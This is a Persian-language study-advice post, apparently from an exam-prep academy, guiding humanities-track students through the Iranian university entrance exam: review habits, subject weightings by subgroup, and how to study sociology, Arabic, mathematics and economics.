آخرین خبرها

ACADEMYADMIN

انسانی ها

سلام به همه ی دانش آموزان عزیزم در گروه آزمایشی انسانی

خواهش می کنم مبحثی رو که می خوام براتون بگم با دقت بخونید.

تکرار

 مشکلی که در مطالعه دانش آموزان به وجود می آید ، عدم تکرار می باشد. به عبارتی مباحثی که را مطالعه می کنند تکرار و مرور نمی شود. هر آنچه تکرار شود ماندگار خواهد بود. هیچ تصویری از ذهن ما خارج نمی شود ، اگر فراموش می شود به این معنی است که بایگانی می شود. داوطلبان مطالب را به مدت طولانی می خوانند اما یکبار.

لطفا به مثال زیر توجه کنید:

فرض کنید در خانه ای زندگی می کنید که هیچ وسیله ای برای نگهداری وجود ندارد ؛ نه کمد، نه گنجه و…

قانون خانه : قانون خانه این است که هر وسیله ای را که بخواهیم در خانه نگهداری کنیم در خانه پرت می کنیم.

حال از شما می خواهیم در مدت زمان ۱ دقیقه یک جوراب صورتی را بپوشید. شما چه خواهید کرد؟

توجه : خانه مغز ماست. وسایل : اطلاعات و افکاری است که روزانه وارد ذهن ما می شود.

راهنما : شما سرمایه دار هستید.

جواب : ۳ حالت وجود دارد :

۱ – یا شما موفق به پیدا کردن جوراب صورتی خواهید شد.( به عبارتی در کنکور سوال را صحیح پاسخ می دهید.)

۲- یا یک جوراب دیگر خواهید پوشید : (سوال را اشتباه پاسخ می دهید.)

۳- و آخربن حالت این است که بدون جوراب خواهید ماند ( تست را بدون پاسخ می گذارید.)

چگونه بتوانیم به حالت اول یا به عبارتی جواب درست برسیم ؟

حال اگر شما ثروتمند باشید از جوراب صورتی چند جفت خریده اید و در بین جوراب هایتان ، جوراب صورتی پیدا خواهید کرد.

نتیجه : اگر مطالب را تکرار(مرور) کنیم سریع یادآوری خواهیم کرد. اگر مطلبی را در فاصله های زمانی متفاوت تکرار یا مرور کنید تعداد زیادی از آن مطلب در حافظه شما ذخیزه خواهد شد. پس بازیابی آن در هنگام امتحان آسان تر خواهد بود.

دانش آموزان انسانی عزیرم که امسال کنکور دارین دقت داشته باشید امسال باید ۳۰ تا ۴۰ درصد از وقتتونو برای مطالعه کتاباتون بزارین و ۷۰ تا ۶۰ درصد وقتتون را برای تست زدن. چرا ؟ چون از طریق تست زدن مباحث دوره و یادآوری کنید.

از تست ها یاد بگیرید :

تست هایی که در خانه برای یادگیری می زنید با آن دسته از تست هایی که سر جلسه آزمون های آزمایشی یا کنکور پاسخ می دهید متفاوت است. در جلسه آزمون شما تست علمی می زنید اما در خانه تست ها باید آزمایشی باشند.

به نکات زیر هنگام تست زدن در منزل توجه کنید :

در قید زمان نباشید و با آرامش تست بزنید تا بتوانید از تست ها یاد بگیرید. اینکه شما تستی را با شک پاسخ می دهید بدون تردید آن مبحث را ناقص یاد گرفته اید و باید با دقت هرچه تمام تر مبحث را مجددا مطالعه کنید.

در تست هایی که دو گزینه بسیار شبیه به هم می باشد و شما قادر به تشخیص گزینه درست نمی باشید ؛ نکات ظریفی نهفته است. این نکات را یاد بگیرید در جزوه یا خلاصه خود یادداشت کنید.

اگر در برخی از تست ها مدت زمان زیادی را صرف می کنید تا به جواب برسید ؛ بدانید دارای تکنیکی است که راه حل را کوتاهتر می کند. این تکنیک را یاد بگیرید. اگر تست های مبحثی را که مطالعه کرده اید زیاد می باشد؛ یاد بگیرید که پس از هر بار مطالعه فقط تعدادی از آن تست ها را بزنید.

در نهایت در خانه از تست ها یاد بگیرید ،  اشتباهاتتان را برطرف کنید سپس در آزمون تست علمی بزنید.

و حرف آخر : هر شب نبض خود را بگیرید.

خیلی وقتا آدم کار مهمی داره اما هر کار می کنه نمی تونه از پیش ببره و موفق بشه. در واقع نمیدونه که دقیقا باید از کجا شروع کنه .

مهم اینه که وقتی کاری رو شروع میکنین متوجه میشین که باید چه شکلی ادامه بدید. برنامه ریزی کاریه که وقتی جدی شروع می کنی ؛ خودت خیلی چیزها رو یاد می گیری . مهم شروع کردنشه. کسی که هدف مهمی داره ، برنامه ریزی براش یه کار ضروریه. مثل شما داطلبان کنکوری عزیز که هدفتون رسیده به یک رتبه عااالیه.

مهم ترین رکن برنامه ریزی اینه که خودت از خودت با خبر میشی

پس هر شب نبض خودتو بگیر.

 

 

جامعه شناسی و علوم اجتماعی 

از دیگر مباحث مهم ، کتاب جامعه شناسی است.  کتابی مفهومی با حجم اندک.

این درس ارتباط بین علوم مختلف از جمله علوم انسانی ، علوم نظری و علوم غیر مادی را بررسی می کند. در نتیجه می بایست استعداد تحلیل و فهم دانش آموز در اینجا فعال باشد. چرا که با تکیه بر مفاهیم حفظی تنها قادر به پاسخگویی تعاریف ساده خواهید بود.

تنها منبع برای مطالعه درس جامعه شناسی (مانند سایر دروس)کتاب درسی می باشد . برای تفهیم مطالب خواندن عمیق و با دقت آن ضروری است. در نتیجه مطمئن باشید حفظ کردن مطالب شما را به جایی نخواهد رساند ،( در امتحانات نهایی و کنکور).

در انتهای هر درس صفحه ای گذاشته شده که در آن صفحه شما باید مفاهیم کلیدی هر درس و تعاریف مفاهیم و خلاصه درس را بنویسید.

بعد از خواندن هر درس با پرکردن کادرهای فوق به طور دقیق می توانید به نتیجه زیر برسید.

۱ – شما در انتهای هر درس صفحه ای جداگانه که مفاهیم کلیدی هر درس و تعاریف و خلاصه های آن یکجا پر شده است را خواهید داشت.

۲ – بعد از خواندن دقیق مطالب دروس ، برای مرور و جمع بندی شما ،می توانید به صفحات انتهایی دروس مراجعه کنید.

۳ – بهترین نکات درس که می تواند برای طراحان سوالات کنکور مهم و منبع تست باشد ، مفاهیم کلیدی است. پس باید با دقت مفاهیم کلیدی هر درس را از متن استخراج کرده و آنها را هر روز مرور کنید.

۴ – مطالب کتاب جامعه شناسی دارای پیوستگی معنایی می باشند. مفاهیم مرتبط را حتما در جزوه یا برگه های خلاصه خود بنویسید.(این مفاهیم می توانتد تست های ترکیبی برای طراحان کنکور باشند.)

۵- به نمودار های موجود در کتاب جامعه شناسی دقت کنید . تحلیل این نمودار ها در فهم مطالب کمک بسیاری به شما می کند.

۶ – مثال ها ، نمونه ها  و فعالیت ها را حتما حل کنید تا درک بهتری از درس بدست بیاورید.

علوم اجتماعی :

قسمت دوم کتاب علوم اجتماعی از اهمیت زیادی برخودار است . سعی کنید در علوم اجتماعی و سایر دروس مفهومی ، مباحث مرتبط را به وسیله مداد رنگی همرنگ کنید. تماما بر متن کتاب درسی تمرکز کرده و ارتباط بین دروس را پیدا کنید.

 

 

دانش آموزان عزیزم در گروه آزمایشی انسانی :

استاد محمدی عزیز لطف کردند تمام منابع کمک آموزشی رشته ی انسانی رو در بخش معرفی منابع کنکور ۹۶ گذاشته اند. لطفا حتما به این بخش مراجعه کنید.

براتون بهترین ها رو آرزو میکنم. موفق و پیروز باشین

مجموعه رشتههایی که دروس امتحانی آن‌‌ها دارای ضرایب یکسان میباشند

زیرگروه ۱

زبان و ادبیات فارسی، دبیری زبان و ادبیات فارسی، زبان و ادبیات عرب، دبیری زبان و ادبیات عرب، مترجمی زبان عربی، ادبیات و زبان عربی، الهیات و معارف اسلامی، دبیری الهیات و معارف اسلامی، دبیری علوم دینی، کارشناسی تربیت مربی عقیدتی و سیاسی، کاردانی تربیت معلم قرآن، علوم اسلامی، علوم قرآنی، معارف اسلامی و حقوق، الهیات و معارف اسلامی و ارشاد، علوم دینی و معارف اسلامی، فقه و حقوق حنفی، فقه و حقوق امامی، فقه و حقوق شافعی، فقه و حقوق اسلامی، علوم قرآن و حدیث، معارف اسلامی و علوم سیاسی، معارف اسلامی و الهیات، حقوق، علوم قضایی، کارشناس فقه، کاردانی امور حقوقی و کنسولی، پلیس قضایی، حکمت اسلامی و فلسفه، فلسفه.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۲)، اقتصاد (با ضریب ۱)، زبان و ادبیات فارسی (با ضریب ۴)، زبان عربی (با ضریب ۴)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۱)، فلسفه و منطق (با ضریب ۳)، روانشناسی (با ضریب ۱) .
زیرگروه ۲
علوم اجتماعی، دبیری علوم اجتماعی، علوم ارتباطات اجتماعی، مددکاری اجتماعی، خبرنگاری(گرایش علوم اجتماعی، فرهنگی و هنری).
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۴)، اقتصاد(با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۳)، فلسفه و منطق (با ضریب ۱)، روانشناسی (با ضریب ۲) .

زیرگروه ۳

مدیریت فرهنگی هنری، مدیریت امور بانکی، علوم اقتصادی،  کارشناسی خبرنگاری، بانکداری،امور بانکی، مدیریت بیمه، کاردانی امور مالی و مالیاتی، امور گمرکی، کاردانی امور گمرکی، کاردانی حسابداری، کاردانی امور بیمه،مدیریت، مدیریت دولتی، مدیریت جهانگردی، مدیریت مسافرتی و جهانگردی، کاردانی مدیریت صنعتی، فلسفه، اقتصاد حمل و نقل، اقتصاد صنعتی، کاردانی علمی- کاربردی صنایع چاپ، حسابداری، کاردانی مدیریت بازرگانی، مدیریت بیمه اکو، خدمات امور اداری، مدیریت و کمیسر دریایی، کاردانی امور دفتری، کارشناسی تولید سیما، مدیریت بانکداری.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۴)، اقتصاد (با ضریب ۳)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۲)، فلسفه و منطق (با ضریب ۱)، روانشناسی (با ضریب ۱) .
زیرگروه ۴
روابط سیاسی، علوم سیاسی، علوم سیاسی(امنیت ملی)، اطلاعات و ضد اطلاعات، کاردانی عملیات کشوری، اطلاعات نظامی، علوم انتظامی، جغرافیای سیاسی، نظامی، جغرافیا، تاریخ، دبیری جغرافیا، دبیری تاریخ، باستان شناسی.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۳)، اقتصاد (با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب ۱)، تاریخ و جغرافیا (با ضریب ۳)، علوم اجتماعی (با ضریب ۲)، فلسفه و منطق (با ضریب ۲)، روانشناسی (با ضریب ۳) .

زیرگروه ۵

روانشناسی، علوم تربیتی، راهنمایی و مشاوره، مطالعات خانواده، کتابداری، دبیری تربیت بدنی و علوم ورزشی، کاردانی تربیت بدنی و علوم ورزشی،
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۳)، اقتصاد (با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب ۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۳)، فلسفه و منطق (با ضریب ۲)، روانشناسی (با ضریب ۳) .
آزمون عمومی و ضرایب تمامی رشته ها
ادبیات فارسی
 
۴
 
دین و زندگی
 
۳
 
عربی
 
۲
 
زبان
 
۲

 

 

در هر زیرگروه رشته‌ی علوم انسانی، هر یک از دروس اختصاصی دارای چه ضریبی است؟

 

 

 زیر گروه ضرایب دروس به تفکیک زیرگروه‌ها
ریاضیات اقتصاد ادبیات اختصاصی عربی اختصاصی تاریخ و جغرافیا علوم اجتماعی منطق و فلسفه روان‌شناسی
شماره ۱ ۲ ۱ ۴ ۴ ۱ ۱ ۳ ۱
شماره ۲ ۴ ۲ ۲ ۱ ۱ ۳ ۱ ۲
شماره ۳ ۴ ۳ ۲ ۱ ۱ ۲ ۱ ۱
شماره ۴ ۳ ۲ ۲ ۱ ۳ ۲ ۲ ۳
شماره ۵ ۳ ۲ ۲ ۱ ۱ ۳ ۲ ۳

عربی

و اما مهم ترین و خاص ترین درس گروه علوم انسانی

 عربی از جمله دروسی است که برای پاسخگویی کامل به سوالات آن ، باید اطلاعات کاملی از اکثر مطالب کتاب داشته باشیم .

خواندن یک درس یا مبحث به تنهایی ، هرچند به طور کامل ، در زدن تست ها به شما کمکی نخواهد کرد. اطلاعات شما در مورد ترجمه و قواعد دست به دست هم می دهند تا شما را به سمت پاسخ های صحیح هدایت کنند. عامل مهم دیگر در کنار این دو ، توانایی درست خواندن عبارات است .

این امتیازی است که هم در ترجمه و هم در بگارگیری درست قواعد می تواند به شما کمک بزرگی کند. تنها راه رسیدن به این توانایی مطالعه درست کتابهایتان می باشد. اگر با کلمات و عبارات کتاب آشنا باشید ، تقریبا ۹۰درصد از عبارات استفاده شده در سوالات را خواهید شناخت .

به دلیل اختصاصی بودن این درس ، هم اکنون تا زمان کنکور در برنامه ریزی روزانه خود مدت زمان مشخصی (فرضا روزی یک ساعت ) به مطالعه درسی عربی بپردازید.

دانش آموزان عزیزم لطفا نکات زیر را در مطالعه این درس رعایت کنید :

ترجمه :

اغلب چند سوال اولیه در ازمون سراسری به ترجمه اختصاص می یابد . اگر داوطلب به معنی تمام لغات کتاب تسلط داشته باشد  ، به راحتی خواهد توانست از این سوالات عبور کند . داوطلبان گرامی دقت داشته باشند تسلط بر معنای کلمات ، صرفا تنها یادگیری معنی درس و عبارات انتهای کتاب نمی باشد . بلکه معنای عبارات موجود در پاورقی ، تمرینات ، سوالات ، توضیحات و….بسیار حائز اهمیت می باشد.

قواعد :

قواعد دروس عربی ۲ و ۳ و پیش مانند زنجیره ای به هم پیوسته می باشند . هنگامی که از پله های ساختمان بالا می روید ، اول قدم بر پله اول سپس دوم و سپس سوم می گذارید . در مورد دروس عربی نیز همین موضوع صدق می کند ؛ به عبارتی پیش نیاز یادگیری عربی پیش دانشگاهی ، عربی ۳ و پیش نیاز یادگیری عربی ۳ ، عربی ۲ می باشد . همچنین در دروس عربی ، مطالب طوری چیده شده که کاملا به یکدیگر مرتبط و نزدیک می باشد . شما برای یادگیری قواعد درس ۶ حتما می بایست قواعد درس ۵ را کاملا یاد داشته باشید.

شما در دفترچه شماره ۱ به ۲۵ سوال عمومی و در دفترچه شماره ۲ به ۲۰ سوال عربی اختصاصی پاسخ خواهید داد. عربی ۲ و ۳ جز عربی عمومی و عربی پیش دانشگاهی عربی اختصاصی شما می باشد اما دقت داشته باشید بین سوالات عمومی و اختصاصی در این درس به هیچ عنوان مرزی وجود ندارد . به بیان واضح تر  ۲۰ سوال از عربی پیش دانشگاهی می تواند تمام قواعد کل کتب عربی را پوشش دهد.

در مورد قواعد شما باید نکات زیر را رعایت کنید :

ابتدا تمام قواعد را ضمن رعایت پیوستگی ، به طور کامل یاد بگیرید. دقت داشته باشید قواعد را حفظ نکنید بلکه یاد بگیرید در عربی فقط ۱۰ درصد مطالب حفظی می باشند. به عبارتی اگر شما صیغه های مضارع مرفوع به اعراب اصلی را حفظ کنید “۱۴۷۱۳۱۴” ، سپس اگر سوال شود که فعل “یذهب” دارای چه اعرابی است؟ نخواهید توانست طبق عدد بالا بیان کنید اگر چه از همین صیغه ها می باشد اما یک سری نکات را باید رعایت کنید . پس سعی کنید تمام قواعد را اعم از اعراب اصلی ، فرعی ، تقدیری ، تجزیه و ترکیب و….کاملا یاد بگیرید . سپس بالافاصله تست بزنید که کاملا تثبیت شود . نیازی نیست شما برای هر مبحثی تعداد زیادی تست را حل کنید ، اگر شما برای این درس یک کتاب تست داشته باشید و بعد از مطالعه هرمبحث ، تست های همان مبحث از همان کتاب را پاسخ دهید .، کفایت خواهد کرد. سعی کنید ابتدا یک منبع کمک درسی را کاملا به اتمام برسانید سپس به سراغ منبع دیگر بروید . سعی کنید قبل از مطالعه هر مبحث ، برای یادآوری و اطمینان از یادگیری کامل مبحث قبلی ، تعدادی تست را پاسخ دهید .

لطفا برای تسلط بر دو مبحث ترجمه و قواعد از کتاب عربی ۱ شروع کنید . هرشب به اندازه که می توانید مطالعه کنید  ؛ با اینکه عربی ۱ در زمره منابع کنکور نمی باشد ولی بسیاری از لغات آن در کتاب های مقاطع بالاتر به کار رفته است . لذا کتاب بسیار مهمی است .

تجربه نشان داده است که دانش آموزانی که از مهر ماه یک مدت زمان مشخصی را به عربی اختصاص می دهند (به طور ثابت و روزانه )در اسفند ماه و روزهای مانده به کنکور شاهد پیشرفت چشمگیری در این درس خواهند بود. 

ریاضی

یکی از دغدغه­ های همیشگی دانش‌آموزان و داوطلبان گروه آزمایشی علوم انسانی، یادگیری ریاضیات است. تقریباً این جمله را که «من ریاضی یاد نمی­گیرم» همه­ ما به وفور از داوطلبان علوم انسانی شنیده‌ایم. همین تفکر غلط که ناشی از به کار نگرفتن شیوه­های صحیح یادگیری ریاضیات است، موجب شده است تا علاوه بر کاهش اعتماد به نفس، بیشتر داوطلبان علوم انسانی به سوی شیوه ­های غلطی همچون حفظ کردن، تلاش بی‌حاصل در حل انبوهی از تست ها، شرکت در کلاس های متعدد و تکراری و در نتیجه، از دست دادن زمان و … سوق داده شوند؛ در حالی که حل این مشکل در درجه­ اول، مستلزم شناسایی ریشه­ های آن و سپس به کارگیری راهکارهای درست و کارآمد برای حل آن است و نه سطحی‌نگری و پاک کردن صورت مساله.
وقتی به شیوه مطالعه درس ریاضی در میان داوطلبان علوم انسانی نگاه می‌کنیم، می‌بینیم که بسیاری از آنها مانند بازیکن‌های فوتبال، و البته بی‌هدف و بدون برنامه، به دویدن بی حد و بدون بازده پرداخته و در پایان، در حالی که از خستگی، توان نفس کشیدن هم ندارند، متوجه می‌شوند که شکست سنگینی را متحمل شده ­اند.
این در حالی است که درس ریاضیات، یکی از مهم‌ترین و سرنوشت‌سازترین دروس گروه آزمایشی علوم انسانی است و پاسخگویی خوب به سؤالات این درس، نقش مهمی در قبولی در رشته ها و دانشگاه‌های خوب این گروه دارد؛ یعنی اگر داوطلبی درصد ریاضی خود را کمی ارتقاء دهد، تاثیر شگرفی در نتیجه و رتبه‌اش خواهد گذاشت؛ تاثیری که شاید در هیچ درس دیگری در این گروه، نمی‌توانست تا به این حد وجود داشته باشد.
پس از دفترچه سؤالات عمومی، در بخش سؤالات اختصاصی، دو دفترچه سؤال به داوطلبان گروه آزمایشی علوم انسانی داده می‌شود: دفترچه شماره دو، شامل دروس ریاضی و اقتصاد است و سی سؤال را دربر می‌گیرد. از این سی سؤال، ریاضی بیست و اقتصاد ده سؤال دارد. زمانی که برای ریاضی در نظر گرفته شده، بیست و پنج دقیقه است. حال اگر شما داوطلب عزیز بتوانید در این مدت، تنها به پنج سؤال آسان نیز جواب دهید، می توانید امیدوار باشید که در مقایسه با داوطلبان دیگری که اصلاً به سؤالات درس ریاضی پاسخ نمی‌دهند، رتبه بسیار بهتری کسب کنید. همان‌طور که می‌دانید، رتبه‌بندی در آزمون سراسری بر اساس ترازهای داوطلبان صورت می‌گیرد، نه بر اساس درصدهایشان. تراز به زبان ساده، شاخصی است که وضعیت یک داوطلب را در میان داوطلبان دیگر بیان می‌کند؛ به طور مثال، ممکن است شما در یک درس ساده که عموم داوطلبان در آن درصد خوبی کسب می‌کنند، نتیجه‌ ۷۰ درصد را به‌دست آورید، و تراز شما ۹۰۰۰ شود، ولی اگر همین نتیجه را در درسی بیاورید که برای عموم داوطلبان مشکل زا باشد، تراز شما حدود ۱۱۰۰۰ می شود. این بدین معناست که شما در درس دوم نسبت به سایر داوطلبان، وضعیت بهتری دارید. از آنجایی که غالب داوطلبان علوم انسانی، با درس ریاضیات میانه خوبی ندارند، اگر داوطلبی بتواند این درس خود را تقویت کند، ترازش (وضعیتش نسبت به سایر داوطلبان) به‌طور خارق‌العاده‌ای بهبود می‌یابد و این موضوع تاثیر مستقیمی در بهبود رتبه‌‌اش خواهد داشت.
 حالا که متوجه شدیم چرا ریاضیات در کنکور علوم انسانی اهمیت دارد، می‌خواهیم بدانیم که چطور باید این درس را مطالعه کرده و برای کنکور آماده شویم. باید اشاره کنیم که یادگیری ریاضیات، چنانچه به طور صحیح به آن پرداخته شود، نه تنها ممکن است، بلکه خیلی هم آسان و قابل دستیابی است، و به دلیل اهمیتی که درس ریاضی دارد، شما از هر زمانی که مطالعه این درس را در برنامه خود بگنجانید، می توانید به نسبت زمانی که برای آن گذاشتید، نتیجه خوبی بگیرید. در واقع زحمت شما هدر نخواهد رفت؛ پس تا دیر نشده است بجنبید.
نکته دیگری که در اینجا باید به آن اشاره کنیم این است که اگر فکر می کنید زمان کافی برای مطالعه تمام مباحث ریاضی ندارید، برخی از مباحث مهم و اصلی را که در بودجه‌بندی کنکور سهم بیشتری دارند و سؤالات بیشتری از آن طرح می‌شود یا یادگیری آن به نسبت زمانی که شما در اختیار دارید، راحت است، انتخاب کنید و برای مطالعه همان مباحث وقت بگذارید.
 برای خواندن ریاضیات (و اصولاً هر درس دیگر) سه کار باید انجام دهیم:
اول پشتکار، دوم پشتکار و سوم هم پشتکار.
شاید خواندن این درس برای برخی از داوطلبان که بیشتر به ادبیات و روان‌شناسی و … علاقه‌مند هستند، مشکل باشد، ولی داوطلبان باید بدانند که با اصرار و تداوم بر خواندن ریاضی و گنجاندن آن در برنامه‌ روزانه، می‌توانند نتیجه خوبی کسب کنند. البته ما نیز راه‌کارهایی را به شما پیشنهاد می‌کنیم که بتوانید بازدهی خود را به میزان بالاتری برسانید.
نکته‌ اولی که پیشنهاد می‌کنیم این است که هر داوطلب باید خودش، مسایل و تست‌های زیادی را حل کند و از درستی راه‌حل را خود مطمئن شود. در این مرحله، باید تلاش کنید تا مفاهیم در ذهنتان ماندگار شده و قابلیت تبدیل به راه­ حل پیدا کند. سعی کنید تا مفاهیم را مانند یک معلم برای خودتان روی کاغذ توضیح دهید و در وقت های آزاد خود با تصویرسازی ذهنی، مفاهیم را در ذهن خود مرور و تصوّر کرده و سپس مسایل تشریحی دشوارتری را یافته و حل کنید. بحث های گروهی با دوستانتان روی این مسایل، بسیار مفید است. اینکه راه‌حل و جواب تشریحی سؤال را از روی کتاب کمک ‌آموزشی ببینید، کمکی به شما نمی‌کند. البته اگر جواب سؤالی را نمی‌دانستید، حتماً باید پاسخ و راه‌حل آن را بیابید و بیاموزید؛ اما پس از آن باید تلاش کنید تا سؤالات مشابهی را خودتان به تنهایی حل کنید تا مساله در ذهنتان بخوبی حک شود. یادتان باشد که در این مرحله، زمان اهمیتی ندارد. چه‌ بسا حل مساله ای پنج یا ده دقیقه طول بکشد. این موضوع اصلاً مهم نیست! تازه در قدم اول هستید.
گام بعدی این است که بتدریج سعی کنید که سرعت عمل خود را در حل سؤالات بالا ببرید و به زمان استاندارد کنکور نزدیک شوید. برای انجام این‌کار، علاوه بر حل مسایل و تست‌های بسیار، باید بر فرمول‌های کتب درسی و کاربرد آنها مسلط باشید. برای رسیدن به این هدف، توصیه می‌کنیم که فرمول‌ها را در یک دفترچه بنویسید و به‌طور منظم دوره‌شان کنید. در ابتدا بدون حساسیت به زمان، همانند سؤالات تشریحی و با توجه به موضوع و استفاده از منابع مختلف به سؤالات تستی پاسخ دهید. در هنگام حل تست ها به راه حل­های مختلف برای حل سؤال نیز توجه کنید. در صورت متفاوت بودن راه ­حل پاسخنامه با راه­ حل شما، حتماً آن راه را نیز به طور دقیق بررسی کنید و خودتان نیز سعی کنید که راه­ حل­های جدیدی را ارائه دهید. اگر نتوانستید راه حل مساله ای را پیدا کنید یا آن را متوجه شوید، ذهن خود را روی مساله قفل کنید و به دنبال راه حل بگردید، 
شما می توانید تمام فرمول های کتب ریاضی و اتحادها و نسبت های مثلثاتی و … را در این دفترچه یادداشت کنید و گاه‌گاهی آنها را دوره کنید تا در حل تست‌ها به کمکتان بیایند. البته ریاضیات فقط حفظ‌کردن فرمول نیست، بلکه باید مهارت و خلاقیت استفاده از این فرمول ها را نیز با تمرین و تکرار، کسب کنید. با  به کارگیری این روش، شما به نحو چشم گیری سرعت حل مساله‌ خود را ارتقاء می بخشید.
علاوه بر نکات ذکر شده، پس از مدتی متوجه خواهید شد که برای برخی از مسایل، راه حل های کوتاه‌تری نیز وجود دارد که با استفاده از آنها می‌توانید در وقت خود صرفه‌جویی کنید. این راه ها و فرمول های ساده را می‌توانید در کتب یا جزوات کمک ‌آموزشی نیز بیابید.
علاوه بر مهارت حل مساله، داوطلبان گرامی باید متن کتاب‌های درسی را نیز مطالعه کنند؛ چرا که در سال‌های اخیر از این بخش ها هم سؤالات متعددی مطرح شده است.
پس از مرور مسایل ریاضی و تسلط بر این مسائل، در مرحله بعد، باید سرعت رسیدن به جواب را افزایش دهید. البته بسیار مهم است که این مساله را فدای دقت نکنید. لازم نیست که برای حل تست‌ها، راه ­حل­ها را به صورت مفصل و با ذکر تمام جزییات بنویسید. تا می توانید مختصر بنویسید و مراحلی را که می‌توانید بدون ریسک انجام دهید، روی کاغذ نیاورید. البته حتماً باید توجه داشته باشید که به هیچ وجه دقت را فدای سرعت نکنید. زدن ده تست درست، خیلی بهتر است از زدن بیست تست است که نُه تست آن به علت بی­دقتی غلط از آب در بیاید؛ زیرا در این صورت، گویا هفت تست درست زده‌اید. پس از اینکه مهارت خود را به اندازه کافی بالا بردید زدن تست‌های زمان­دار را شروع کنید. همان‌طور که می‌دانید، این زمان باید در پایان روزهای آمادگی برای کنکور باشد. 
نکته‌ آخری که در بخش روش مطالعه همواره به داوطلبان توصیه می‌کنیم، این است که مهارت و سرعت خود را در درس اقتصاد نیز بالا ببرند. از آنجایی که دفترچه دوم، مربوط به دروس ریاضی و اقتصاد است و زمان پاسخگویی به دفترچه دوم (دروس ریاضی و اقتصاد) سی و پنج دقیقه است، داوطلبان هرچه درس اقتصاد را در زمان کمتری پاسخ بدهند، در نتیجه زمان بیشتری برای حل سؤالات ریاضی خواهند داشت؛ پس سرعت تسلط در درس اقتصاد، نسبت مستقیم با نتیجه‌ به‌دست آمده در درس ریاضیات و طبعاً، نتیجه‌ کل آزمون خواهد داشت.
در پایان حتماً به این نکات نیز در یادگیری درس ریاضی توجه کنید:
۱ـ نسبت به ریاضی دید مثبت‌تری پیدا کنید.
۲ـ مطالبی را که هنگام مطالعه می‌خوانید، به زبان ساده تر برگردانید.
۳ـ برای سریع حل کردن مسایل ریاضی، تمرین کنید و هنگام مطالعه وقت بگیرید که یک مساله در فلان موضوع را در چند دقیقه حل می‌کنید. هر چند عجله داشتن و شتاب زدگی توصیه نمی‌شود؛ زیرا باعث اشتباه می‌شود، ولی سرعت عمل در جایی که شما متوجه راه حل شده‌اید و آن را بلدید، در جلوگیری از کمبود وقت به شما کمک می‌کند.
 ۴ـ مساله را گام به گام حل کنید؛ زیرا باعث فهم خوب مساله و حدس راه حل های درست می شود.
۵ـ قبل از انجام محاسبات، مساله را تجزیه و تحلیل کنید و با جزییات طرح کنید.
۶ـ برآوردی از پاسخ خود داشته باشید تا از مسیر غلط رفتن جلوگیری کند و جوابی را که به مساله می‌دهید، مرتب وارسی کنید که آیا مسیر را درست می روید یا نه.
۷ـ در هنگام مطالعه، تمرین‌ها را به صورت کتبی انجام دهید و از اینکه مسائل را ذهنی حل کنید، بپرهیزید؛ زیرا موجب اشتباه می‌شود.
۸ـ از اینکه در آخرین لحظه، جواب خود را تغییر دهید، بپرهیزید؛ مگر اینکه ۱۰۰ درصد مطمئن باشد که به سؤال، جواب غلط داده اید.
۹ـ فرمول های ریاضی را چند بار و در زمان های مختلف مرور کنید.
۱۰ـ همه وقت خود را صرف حل چند مساله سخت نکنید. ابتدا مسائل آسان را حل کنید، و اگر دیدید که مساله‌ای سخت است از آن عبور کنید و بعد از پاسخ به تمام مسائل، به آن برگردید.
۱۱ـ اگر نمی دانید از کجا شروع کنید، سؤال را دوباره بخوانید.
۱۲ـ مواظب اشتباهات پیش پا افتاده باشید؛ زیرا هر چقدر که راه حل را درست بروید، ولی در یک محاسبه کوچک (جمع و تفریق) اشتباه کنید، جواب شما غلط می‌شود.
۱۳ـ با اضطراب ریاضی مقابله کنید؛ زیرا اضطراب و منفی نگری نسبت به درس ریاضی باعث می‌شود که در انجام پیدا کردن راه حل، انجام عملیات ریاضی و توجه به اشتباهات پیش پا افتاده، سر در گم باشید و دچار خطا گردید.

اقتصاد

در آزمون سراسری ۱۵ سوال ( معمولا از هر درس یک سوال) طرح می شود و یکی از درس های کلیدی و رتبه ساز در رشته انسانی می باشد.

درس  ریاضیات و اقتصاد  ،به طور جداگانه در دفترچه شماره ۲ گنجانده می شوند. وقت پاسخگویی به این دفترچه ، ۳۵ دقیقه است و پس از پایان این زمان  ، داوطلبان دیگر قادر به پاسخگویی به سوالات این دفترچه نخواهند بود ،از آنجایی که سوالات و مسئله های درس ریاضی غالیا وقت گیر هستند ، داوطلبان  معمولا در این دفترچه با کمبود زمان  مواجه می شوند ؛

به همین دلیل است که اولین توصیه ی به دانش آموزان عزیز در مورد درس اقتصاد  این بوده است  که اگر می خواهند جز رتبه های برتر و رتبه های اصلی کنکور باشند  ، باید تسلط و سرعت خود را در درس اقتصاد افزایش دهند تا مبادا به دلیل کمبود وقت از پاسخگویی به سوالاتی که جواب آن را می دانسته اند  ؛ باز نمانند. 

ارزش درس اقتصاد در کنکور : درس اقتصاد در زیرگروه ۱ کنکور سراسری (ضریب ۱)در زیرگروه ۲و۴ (ضریب ۲) و در زیر گروه ۳ یعنی برای رشته های حسابدرای ، اقتصاد ، خبر نگاری و انواع مدیریت با ضریب ۳ اهمیت بسزایی دارد. حدود ۹۰/۵۱ درصد قبول شدگان کنکور سراسری این درس را بین ۱۰ تا ۴۰ درصد می زنند.

درس اقتصاد از سه بخش تشکیل شده است :

۱-مفهومی : مطالب مفهومی کتاب اقتصاد شامل اقتصاد در تعلیم اسلام  ، محاسبه تولید کل جامعه ، تورم ، عرصه و تقاضا ، (سیاست های پولی و مالی ) ، تولید درآمد و معیار سنجش آن ، تاثیر عملکرد افراد بر متغیر های کلان ، اهمیت بودجه بندی کل کشور و انواع نرخ های مالیاتی و دولت توسعه است.

